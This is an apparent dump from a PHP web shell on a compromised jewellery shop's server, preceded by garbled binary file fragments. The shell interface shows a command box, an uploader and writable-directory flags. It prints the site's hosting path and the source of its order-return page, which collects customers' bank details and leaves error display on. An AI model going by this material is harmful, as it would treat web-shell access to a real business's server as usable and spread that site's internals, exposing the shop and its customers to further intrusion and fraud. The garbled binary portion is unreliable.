œ_#ÁÕ§TE NAŒ“KeÉ:”(åŽÖJÞùY’‚ñùž7; «]Û ý`8g“¯B© jd ÖÖ¸ðzœ¸¦4Ç3Kó^(ÍÖ¼ Õ€pvìwšõB4d f$Èü^0˜…åÌC$#2FŽÑ§±¦ÛZ/÷š&m£ñzÒÖ ’.Î]!Î;ƒ(Õ–¢d/—#Kª+tZyuÏB>NÛÖ†(¸ŒSà'³„Y˜´-_•¦¼´˜OlNK§¶ÒàŠˆTHµƒeTPå·fïM’…þuÏÍüp6دªE£åü‡ZØ'CKF#â«;‹eyO Qp„†l"ö1èíÙP ÏŒúl! BÝ2ñª•_VÁÉ÷3eu`–F¸ìI--ö<¿žë¯4õ캿¢)34Å{wMÉ2ÆÖFŸ¥` e9Ú¶¸P‡.”FÔï rY ‚²ÈTB,{ÛœéJ}«àQ4¹0Rû4D‚B§S‘ dO•v¾„™Sן¯3FeŸ™«+ÓâwH dÕÛÌì·P4ë&¥#rÜÉ Ù¦ê†ý·xòqk¯2,¹§™E\­ék‚×SᔏںÙ⺷ö£6…à ʾ qSá³Å|;àû}4Ÿ($â¹VY~óÍ!èÜÒŒËX½Ù1j‚VíÍŸš³+œ]«½g{_{/vµ½\¢¶vÉWKÿ:ñám½ ¥ S²x‘t ŽšÝÙÿÀÇ^ný PK   IW™k‚½÷ á  _rels/.relsUT dìd dìd dìd­’ÏNÃ0 ‡ï{ŠÈ÷ÕÝ@¡¥» ¤Ý*`%îÑ&QâÁöö‚J£ì°cœŸ¿|¶²ÙÆA½rL½wVE Šñ¶w­†çúay * 9Kƒw¬áÈ ¶ÕbóÄIîI]’Ê—4t"á1™ŽGJ…ìòMããH’±Å@æ…ZÆuYÞ`üÍ€jÂT;«!îì T} |Û7MoøÞ›ýÈNN<|v–í2ÄÜ¥ÏèšbË¢Ázó˜Ë )„"£O­Ï7ú{ZYÈ’yÞç#1'tuÉM?6o>Z´_å9›ëKÚ˜}?þ³žÏÌ·N>fµx PK    IWª½e  ¢ U  € word/document.xmlUT dìdPK    IWþË3” z  €J¢ word/settings.xmlUT dìdPK    IWC‡{š' ƒ  €¤ docProps/custom.xmlUT dìdPK    IW츱=Œ   €‡¥ [Content_Types].xmlUT dìdPK    IWV%ë±"   €U§ docProps/app.xmlUT dìdPK    IW€RŒ 3  €¶¨ docProps/core.xmlUT dìdPK    IWkòDn ô  €ª word/_rels/document.xml.relsUT dìdPK    IW ;$î   €Î« word/fontTable.xmlUT dìdPK    IW+åäz] ÷.  €ý¬ word/numbering.xmlUT dìdPK    IW¤2×r- ¿  €›° word/styles.xmlUT dìdPK    IWMFÒ ø  €´ word/header1.xmlUT dìdPK    IWF— T e  €· word/media/image1.jpegUT dìdPK    IW!Yéáå   €°Ë word/media/image2.pngUT dìdPK    IW°Àºë ú  €ÙÌ word/media/image3.pngUT dìdPK    IW$“†ª L  €Î word/footer1.xmlUT dìdPK    IWzaGôM   €ñÑ word/footer2.xmlUT dìdPK    IW–µ­âº P  €}Õ word/theme/theme1.xmlUT dìdPK    IW™k‚½÷ á €{Û _rels/.relsUT PK   ! bîh^   [Content_Types].xml ¢(   ¬”ËNÃ0E÷HüCä-Jܲ@5í‚Ç*Q>Àēƪc[žiiÿž‰ûB¡j7±ÏÜ{2ñÍh²nm¶‚ˆÆ»R ‹ÈÀU^7/ÅÇì%¿’rZYï @1__f› ˜q·ÃR4DáAJ¬h>€ãÚÇV߯¹ ªZ¨9ÈÛÁàNVÞ8Ê©ÓãÑÔji){^óã-I‹"{Üv^¥P!XS)bR¹rú—K¾s(¸3Õ`cÞ0†½ÝÎß»¾7M4²©ŠôªZƐk+¿|\|z¿(Ž‹ôPúº6h_-[ž@!‚ÒØ Pk‹´­2nÏ}Ä?£LËð Ýû%áÄßdºždN"m,à¥ÇžDO97*‚~§Èɸ8ÀOíc|n¦Ñ äEøÿöéºóÀBÉÀ!$}‡íàÈé;{ìÐå[ƒîñ–é2þ ÿÿ PK   ! µU0#ô L _rels/.rels ¢(   ¬’MOÃ0 †ïHü‡È÷ÕݐBKwAH»!T~€Iܵ£$Ý¿'TƒG½~üÊÛÝ<êÈ!öâ4¬‹;#¶w­†—úqu *&r–Fq¬áÄvÕõÕö™GJy(v½*«¸¨¡KÉß#FÓñD±Ï.W ¥†=™ZÆMYÞbø®ÕBSí­†°·7 ê“Ï›×–¦é ?ˆ9LìÒ™ÈsbgÙ®|Èl!õùUSh9i°bžr:"y_dlÀóD›¿ý|-NœÈR"4ø2ÏGÇ% õZ´4ñ˝yÄ7 ëÈðÉ‚‹¨Þ ÿÿ PK   ! Q48wÛ —  xl/workbook.xml¤UÙnâ0}iþ!cñ‡ *–¢AšVU×$dC¬&vÆv UÕŸë@XÊK§/¹p|Žï¹N÷b“¥Ö •Š ÞC¸î"‹òHÄŒ¯zèá~b·‘¥4á1I§=ôJºèÿüÑ] ù¼âÙ ®z(Ñ:GE ͈ª‹œrˆ,…̈†©\9*—”Ä*¡Tg©ã¹nàd„q´Eåg0ÄrÉ":Q‘Q®· ’¦D}•°\UhYô¸ŒÈç"·#‘å ±`)Ó¯%(²²(œ®¸d‘‚ì nZ w v¡ñª• t¶TÆ")”Xê:@;[Ògú±ë`|²›ó=ø’ïHúÂL÷¬dðEVÁ+8€a÷Ûh¬Uz%„Íû"ZsÏÍCýî’¥ôqk]‹äù5ÉL¦Rd¥Dé˘i÷P ¦bM/|dÉ",…¨çãFNoçiûéë>aêiçsó#ðÄ ÕTr¢éHp ÜIú®ÝJìQ"ÀÜÖ-ý[0I¡¦ÀZ Z…d¡nˆN¬B¦=4 g %PDF-1.4 %âãÏÓ 3 0 obj << /Linearized 1 /L 422775 ÿØÿà JFIF    ÿÛ C      ÿÛ C   ÿÀ  X" ÿÄ    ÿÄ H   !1A"Qaq2‘¡#±ÁBRÑ3Cbrá$S‚¢²ð4ñ%6DTc’ÂsÿÄ   ÿÄ =  !1AQ"aq‘Á2R¡±BÑð#3br’²4á$‚¢ÂñÿÚ   ? áHBßÝ`„! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! !@B„ „! ! stream

___________________________ < root@rinduuu:~# /home/rinduuuuuuu?! > ___________________________

Command :

ikan Uploader :
Directory :  /home/ni05r7l36tus/www/poojajewellersbbsr.com/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //home/ni05r7l36tus/www/poojajewellersbbsr.com/returnorder.php
<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);
session_start();
include "connection/config.php";

if (!isset($_POST['allorder_id'], $_POST['customer_id'], $_POST['order_json'])) {
    die("Invalid request");
}

 $allorder_id = intval($_POST['allorder_id']);
 $customer_id = intval($_POST['customer_id']);
 $orderItem  = $_POST['order_json']; // decode JSON

$customer_id = isset($_SESSION['customer_id']) ? intval($_SESSION['customer_id']) : 0;
// Fetch allorders for the customer
$stmt = $pdo->prepare("SELECT * FROM allorders WHERE customer_id = :customer_id ORDER BY created_at DESC");
$stmt->execute([':customer_id' => $customer_id]);
$allorders = $stmt->fetchAll();
$stmt = $pdo->prepare("SELECT * FROM store_locations");
$stmt->execute();
$store_locations = $stmt->fetch(PDO::FETCH_ASSOC);

?>

<!DOCTYPE html>
<html lang="en">
<head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width,initial-scale=1">
        <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
        <title>Pooja Jewellers Bhubaneswar – Elegant Gold, Silver & Fancy Jewellery</title>
        <meta name="description" content="Browse Pooja Jewellers in Bhubaneswar for a stunning range of gold, silver, and fancy jewellery—perfect for weddings, everyday elegance, and modern minimalism.">
        <meta name="keywords" content="Pooja Jewellers Bhubaneswar, gold jewellery Bhubaneswar, silver jewellery Bhubaneswar, fancy jewellery Bhubaneswar, minimalist jewellery India, wedding jewellery Bhubaneswar">
        <meta name="author" content="spacingtech_webify">
        <!-- favicon -->
        <link rel="shortcut icon" type="image/favicon" href="assets/image/fav.jpg">
        <!-- plugin css -->
        <link rel="stylesheet" type="text/css" href="assets/css/plugin.css">
        <!-- theme css -->
        <link rel="stylesheet" type="text/css" href="assets/css/theme3.css">
        <!-- collection css -->
        <link rel="stylesheet" type="text/css" href="assets/css/collection3.css">
        <!-- blog css -->
        <link rel="stylesheet" type="text/css" href="assets/css/blog3.css">
        <!-- style css -->
        <link rel="stylesheet" type="text/css" href="assets/css/style3.css">
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.10.5/font/bootstrap-icons.css">

    </head>
    <body>
        <!-- preloader start -->
        <div class="preloader position-fixed top-0 start-0 w-100 h-100 body-bg z-index-5">
            <div class="loader-img position-absolute top-0 start-0 w-100 h-100 d-flex align-items-center justify-content-center">
                <img src="assets/image/preloader.png" class="width-96 width-xl-144 img-fluid" alt="logo">
            </div>
        </div>
        <!-- preloader end -->
       
        <!-- header start -->
        <header id="header" class="main-header">
            <!-- header-top start -->
            <div class="header-top-area">
                <!-- notification-bar start -->
                <div class="notification-bar ptb-10 dominant-bg">
                    <div class="container-fluid d-none d-xl-block">
                        <div class="text-center extra-color">First Order 20% Off on Fancy Jewellery <a href="product_category.php?slug=Fancy jewellery" class="extra-color text-uppercase text-decoration-underline blinking">Shop now</a>!</div>
                    </div>
                </div>
                <!-- notification-bar end -->
                <!-- header-bar start -->
                <div class="header-bar d-none d-xl-block ptb-11 extra-bg beb">
                    <div class="container-fluid">
                        <div class="row">
                            <div class="col">
                                <ul class="ul-mt30 justify-content-start">
                                    <li>
                                        <span class="d-inline-block body-secondary-color">
                                            <a href="mailto:<?php echo $store_locations['email1']; ?>">
                                                <i class="ri-mail-line icon-16 mer-5"></i><?php echo $store_locations['email1']; ?>
                                            </a>
                                        </span>
                                    </li>
                                    <li>
                                        <span class="d-inline-block body-secondary-color">
                                            <a href="tel:<?php echo $store_locations['phone1']; ?>">
                                                <i class="ri-phone-line icon-16 mer-5"></i><?php echo $store_locations['phone1']; ?>
                                            </a>
                                        </span>
                                    </li>
                                </ul>
                            </div>

                            <div class="col">
                                <ul class="ul-mt30 justify-content-end">
                                    <li>
                                    <span class="d-inline-block body-secondary-color">
                                        <a href="calender.php">
                                        <i class="ri-calendar-event-fill icon-16 mer-5"></i>Calender
                                        </a>
                                    </span>
                                    </li>
                                    <li>
                                    <span class="d-inline-block body-secondary-color text-dark">
                                         <a href="javascript:void(0)" 
                                          data-bs-toggle="modal" 
                                          data-bs-target="#goldCalculatorModal" 
                                          class="nav-link">
                                          <i class="ri-calculator-line icon-16 mer-5"></i> Calculator
                                        </a>
                                    </span>
                                    </li>
                                </ul>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- header-bar end -->
                  <!-- header-top-first start -->
                <div class="header-top-first ptb-15 ptb-xl-20 position-relative extra-bg">
                    <div class="container-fluid">
                        <div class="row align-items-center header-area">
                            <!-- header-logo start -->
                            <div class="col-6 col-xl-2 header-element header-logo">
                                <div class="header-theme-logo">
                                    <a href="index.php" class="d-inline-block theme-logo">
                                        <img src="assets/image/headerlogo.webp" class="width-96 width-xl-144 img-fluid" alt="logo">
                                    </a>
                                </div>
                            </div>
                            <!-- header-logo end -->
                           <?php include "common/header.php"; ?>
                            <!-- header-icon start -->
                            <div class="col-6 col-xl-2 header-element header-icon">
                                <div class="header-icon-block d-flex justify-content-end">
                                    <ul class="ul-mt30 flex-nowrap align-items-center header-icon-element">
                                        <li class="header-icon-wrap toggler-wrap d-xl-none">
                                            <div class="header-icon-wrapper">
                                                <a href="javascript:void(0)" class="d-block header-icon-toggler toggler-btn" aria-label="Menu toggler button">
                                                    <span class="d-block header-block-icon dominant-link icon-16"><i class="ri-menu-line"></i></span>
                                                </a>
                                            </div>
                                        </li>
                                        <li class="header-icon-wrap search-wrap d-xl-none">
                                            <div class="header-icon-wrapper">
                                                <a href="#searchmodal" class="d-block header-icon-search" data-bs-toggle="modal" aria-label="Search modal">
                                                    <span class="d-block header-block-icon dominant-link icon-16"><i class="ri-search-line"></i></span>
                                                </a>
                                            </div>
                                        </li>
                                        <li class="header-icon-wrap user-wrap d-none d-md-block">
                                            <div class="header-icon-wrapper">
                                               
                                                     <span class="header-block-icon-wrap dominant-link ul-mt5 flex-nowrap align-items-center">
                                                        <span class="header-block-icon icon-16"><i class="ri-user-3-line"></i></span>
                                                        <span class="d-none d-xl-block header-text-content">
                                                            
                                                                <a href="login.php">Login</a>
                                                        </span>
                                                    </span>
                                            </div>
                                        </li>
                                      
                                        <li class="header-icon-wrap cart-wrap d-none d-md-block">
                                            <div class="header-icon-wrapper">
                                                <a href="javascript:void(0)" class="d-block header-icon-cart js-cart-drawer">
                                                    <span class="header-block-icon-wrap dominant-link ul-mt5 flex-nowrap align-items-center">
                                                    <span class="header-block-icon icon-16"><i class="ri-shopping-bag-3-line"></i></span>
                                                    <span class="d-none d-xl-block header-text-content">Cart</span>
                                                    <?php
                                                    $cartCount = 0;
                                                    if (isset($_SESSION['cart'])) {
                                                        $cartCount += count($_SESSION['cart']);
                                                    }
                                                    if (isset($_SESSION['rentals'])) {
                                                        $cartCount += count($_SESSION['rentals']);
                                                    }

                                                    // Show the counter only if there’s something in cart
                                                    if ($cartCount > 0) {
                                                        echo '<span class="header-block-counter cart-counter dominant-color">' . $cartCount . '</span>';
                                                    }
                                                    ?>
                                                </span>
                                                </a>
                                            </div>
                                        </li>
                                    </ul>
                                </div>
                            </div>
                            <!-- header-icon end -->
                        </div>
                    </div>
                </div>
                <!-- header-top-first end -->
            </div>
            <!-- header-top end -->
        </header>
        <!-- header end -->
        <!-- breadcrumb-area start -->
        <div class="breadcrumb-area ptb-15" data-bgimg="assets/image/other/breadcrumb-bgimg.jpg">
            <div class="container">
                <span class="d-block extra-color"><a href="index.html" class="extra-color">Home</a> / Return order</span>
            </div>
        </div>
        <!-- breadcrumb-area end -->
        <!-- main start -->
        <main id="main">
            <!-- page-404 start -->
            <section class="page-404 section-ptb">
    <div class="container">
        <div class="row">
            <style>
                .ap-detail-info1 {
                    background-color: white;
                    padding: 20px;
                    box-shadow: 0 0 8px rgba(0, 0, 0, 0.1);
                    border-radius: 10px;
                }
                .ap-detail-info {
                    background-color: white;
                    padding: 20px;
                    box-shadow: 0 0 2px gray;
                    border-radius: 10px;
                }
                .form-section-title {
                    font-weight: 600;
                    font-size: 16px;
                    margin-bottom: 15px;
                    border-left: 4px solid #007bff;
                    padding-left: 8px;
                    color: #333;
                }
                .form-control, select {
                    border-radius: 6px;
                    margin-bottom: 12px;
                }
                .return-item {
                    background: #f9f9f9;
                    padding: 15px;
                    border-radius: 8px;
                    margin-bottom: 20px;
                    border: 1px solid #eee;
                }
                .return-item label {
                    font-weight: 500;
                    margin-bottom: 6px;
                }
                .submit-btn {
                    background: #007bff;
                    color: #fff;
                    border: none;
                    padding: 10px 20px;
                    border-radius: 6px;
                    font-weight: 500;
                    transition: 0.3s;
                }
                .submit-btn:hover {
                    background: #0056b3;
                }
                .policy-box {
                    background: #f1f9ff;
                    padding: 15px;
                    border-radius: 8px;
                    border: 1px solid #cce5ff;
                    font-size: 14px;
                }
            </style>

            <div class="col-12">
                <div class="ap-detail ap-detail-info">
<form method="post" action="save_return.php" enctype="multipart/form-data" >
    <input type="hidden" name="allorder_id" value="<?= $allorder_id ?>">
    <input type="hidden" name="customer_id" value="<?= $customer_id ?>">
    <input type="hidden" name="all_product_details" id="all_product_details" value="">

    <div class="row">
        <!-- Left Column -->
        <div class="col-md-6">
            <div class="form-section-title">Product Details</div>
            <div class="return-item mb-3">
                <label class="text-dark">Select Products to Return</label>
                <?php
                $orderItems = json_decode($orderItem, true);
                $counter = 1;
                foreach ($orderItems as $item) {
                    $product_id = intval($item['product_id']);
                    $price = $item['price'] ?? 0;
                    $quantity = $item['quantity'] ?? 1;

                    $stmt = $pdo->prepare("SELECT * FROM products WHERE product_id = ?");
                    $stmt->execute([$product_id]);
                    $product = $stmt->fetch(PDO::FETCH_ASSOC);

                    $name = $product ? htmlspecialchars($product['product_name'], ENT_QUOTES) : htmlspecialchars($item['name'] ?? "Product #$product_id", ENT_QUOTES);

                    echo '<div class="form-check mb-2 d-flex align-items-center justify-content-between">';
                    echo '<div class="d-flex align-items-center">';
                    echo '<input class="form-check-input me-2 return-checkbox" type="checkbox" data-id="' . $product_id . '" data-name="' . $name . '" data-price="' . $price . '" id="product' . $counter . '">';
                    echo '<label class="form-check-label" for="product' . $counter . '">';
                    echo '<strong>' . $name . ' – ₹' . number_format($price, 0) . '</strong>';
                    echo '</label></div>';
                    echo '<input type="number" class="form-control quantity-input" data-id="' . $product_id . '" value="1" min="1" max="' . intval($quantity) . '" style="width:70px;">';
                    echo '<div class="error-message" style="color:red; font-size:12px; display:none;">Quantity must be at least 1</div>';
                    echo '</div>';

                    $counter++;
                }
                ?>
            </div>

            <div class="form-group mt-3">
                <label>Reason / Notes</label>
                <textarea class="form-control" name="customer_notes" rows="4" placeholder="Write any extra details about your return"></textarea>
            </div>

            <div class="form-section-title">Return & Refund Policies</div>
            <div class="policy-box mb-3">
                <p class="mb-0 py-2">
                    Returns must be initiated within <strong>7 days</strong> of delivery...
                </p>
            </div>
        </div>

        <!-- Right Column -->
        <div class="col-md-6">
            <div class="form-section-title">Refund Bank Details</div>
            <div class="form-group mb-2">
                <label>Account Holder Name</label>
                <input type="text" class="form-control" name="bank_account_name" required>
                <div class="error-message" style="color:red; font-size:12px; display:none;"></div>
            </div>
            <div class="form-group mb-2">
                <label>Account Number</label>
                <input type="text" class="form-control" name="bank_account_number" required>
                <div class="error-message" style="color:red; font-size:12px; display:none;"></div>
            </div>
            <div class="form-group mb-2">
                <label>IFSC Code</label>
                <input type="text" class="form-control" name="ifsc_code" required>
                <div class="error-message" style="color:red; font-size:12px; display:none;"></div>
            </div>
            <div class="form-group mb-2">
                <label>Bank Name</label>
                <input type="text" class="form-control" name="bank_name" required>
                <div class="error-message" style="color:red; font-size:12px; display:none;"></div>
            </div>
            <div class="form-group mb-2">
                <label>Bank Branch / Address</label>
                <input type="text" class="form-control" name="bank_branch" required>
                <div class="error-message" style="color:red; font-size:12px; display:none;"></div>
            </div>

            <div class="form-section-title">Upload Supporting Files</div>
            <div class="form-group mb-2">
                <input type="file" class="form-control" name="return_files">
            </div>

            <div class="form-check mb-3 d-flex">
                <input class="form-check-input" type="checkbox" id="agree" required>
                <label class="form-check-label mt-lg-1 ms-2" for="agree">
                    I have read and agree to the Return & Refund Policies.
                </label>
                <div class="error-message" style="color:red; font-size:12px; display:none;"></div>
            </div>

           <button type="submit" name="return_order_products" class="submit-btn w-100">Submit Return Product</button>

            <!-- Success message -->
            <div id="successMessage" style="display:none; margin-top:10px; color:green;">
                Form submitted successfully!
            </div>
        </div>
    </div>
</form>
                </div>
            </div>
        </div>
    </div>
</section>
<script>
function updateProductsJSON() {
    const products = [];
    document.querySelectorAll('.return-checkbox:checked').forEach(checkbox => {
        const id = checkbox.dataset.id;
        const name = checkbox.dataset.name;
        const price = parseFloat(checkbox.dataset.price);
        const quantityInput = document.querySelector('.quantity-input[data-id="'+id+'"]');
        const quantity = parseInt(quantityInput.value) || 1;
        products.push({product_id: parseInt(id), product_name: name, price: price, quantity: quantity});
    });
    document.getElementById('all_product_details').value = JSON.stringify(products);
}

// Validate a single field
function validateField(field){
    const errorDiv = field.nextElementSibling;
    if(!field.value.trim()){
        errorDiv.innerText = field.previousElementSibling.innerText + " is required.";
        errorDiv.style.display = 'block';
        return false;
    } else {
        errorDiv.style.display = 'none';
        return true;
    }
}

// Validate form and show messages
function validateForm(){
    updateProductsJSON();
    let valid = true;
    let anyProduct = document.querySelectorAll('.return-checkbox:checked').length > 0;
    if(!anyProduct){
        alert("Select at least one product to return.");
        valid = false;
    }

    const bankFields = ['bank_account_name','bank_account_number','ifsc_code','bank_name','bank_branch'];
    bankFields.forEach(name => {
        const field = document.querySelector(`[name="${name}"]`);
        if(!validateField(field)) valid = false;
    });

    const agree = document.getElementById('agree');
    const agreeError = agree.nextElementSibling;
    if(!agree.checked){
        agreeError.innerText = "You must agree to the Return & Refund Policies.";
        agreeError.style.display = 'block';
        valid = false;
    } else {
        agreeError.style.display = 'none';
    }

    return valid;
}

// Live validation for bank inputs
document.querySelectorAll('input[type=text]').forEach(input=>{
    input.addEventListener('input',()=>validateField(input));
});
document.getElementById('agree').addEventListener('change',()=>validateForm());

// Quantity validation
document.querySelectorAll('.quantity-input').forEach(q=>{
    q.addEventListener('input', ()=>{
        const min = parseInt(q.min) || 1;
        const errorDiv = q.nextElementSibling;
        if(parseInt(q.value) < min){
            errorDiv.innerText = "Quantity must be at least " + min;
            errorDiv.style.display = 'block';
        } else {
            errorDiv.style.display = 'none';
        }
        updateProductsJSON();
    });
});

// Form submit
document.getElementById('returnForm').addEventListener('submit', function(e){
    e.preventDefault();
    if(validateForm()){
        document.getElementById('successMessage').style.display = 'block';
        setTimeout(()=> this.submit(), 1000);
    } else {
        document.getElementById('successMessage').style.display = 'none';
    }
});
</script>
            <!-- page-404 end -->
        </main>
        <!-- main end -->
        <?php include "common/footer.php" ?>

........